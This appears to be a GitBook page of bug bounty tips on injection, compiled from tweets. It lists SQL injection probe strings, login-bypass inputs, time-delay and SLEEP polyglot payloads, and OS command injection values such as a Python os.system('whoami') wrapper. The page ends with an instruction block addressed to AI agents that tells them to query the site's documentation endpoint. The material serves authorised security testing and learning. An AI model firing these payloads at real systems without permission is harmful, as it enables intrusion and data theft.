# Injection

* [#**BugBountyTip** did you know that the character '\_' acts like the regex character '.' in SQL queries https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php …](https://twitter.com/gwendallecoguic/status/1076081365777551364)
* [#bugbountytip It's possible to fire up "#OS #Command #Injection" instead of #XSS in Filename.PDF?parameter=PAYLOAD+|+Dir+c:\\](https://twitter.com/fasthm00/status/1087256089630896128)
* [#bugbountytips When you're trying to trigger a Command Injection flaw in #Python Web Application try to surround your payload with str() funciton i.e "%2bstr(\_\_import.('os').system('whoami'))%2b"](https://twitter.com/fasthm00/status/1087557729797824512)
* [Use Burp Intruder for Expression Language Injection and grep the response for 7744 :) ](https://twitter.com/secalert/status/1119526862521282560)
* [I found two SQL Injections tonight in private programs. One blind and the other hanging in plain sight. Here’s a tip. Wayback -> http://company.com -> grep | .php?id= ](https://twitter.com/chevonphillip/status/1237968363764187143)
* [Give this a try while testing for SQLi Authentication Bypass :](https://twitter.com/SpiderSec/status/1251793902996279297)

  [username: '--' / "--" password: '--' / "--"](https://twitter.com/SpiderSec/status/1251793902996279297)
* [Basic payload to test SQLi in Burp Repeater: '; waitfor delay '0:0:3' -- Check the time in the Response side if it delays the same as you change the seconds in the payload.![Image](https://pbs.twimg.com/media/EIkgLMAXUAETnq7?format=png\&name=small)](https://twitter.com/Gamliel_InfoSec/status/1191518957838196737)![Image](https://pbs.twimg.com/media/EIkgLMAXUAETnq7?format=png\&name=small)
* [This is how I found sql-Injection 100% of the time For http://site.com/?q=HERE /?q=1 /?q=1' /?q=1" /?q=\[1\] /?q\[\]=1 /?q=1\` /?q=1\ /?q=1/\*'\*/ /?q=1/\*!1111'\*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' #bugbounty #BugBountyTips](https://twitter.com/pwntheweb/status/1253224265853198336)
* SQLi Polyglot SLEEP(1) /\*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “\*/ by[@avlidienbrunn](https://twitter.com/avlidienbrunn)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gowsundar.gitbook.io/book-of-bugbounty-tips/injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
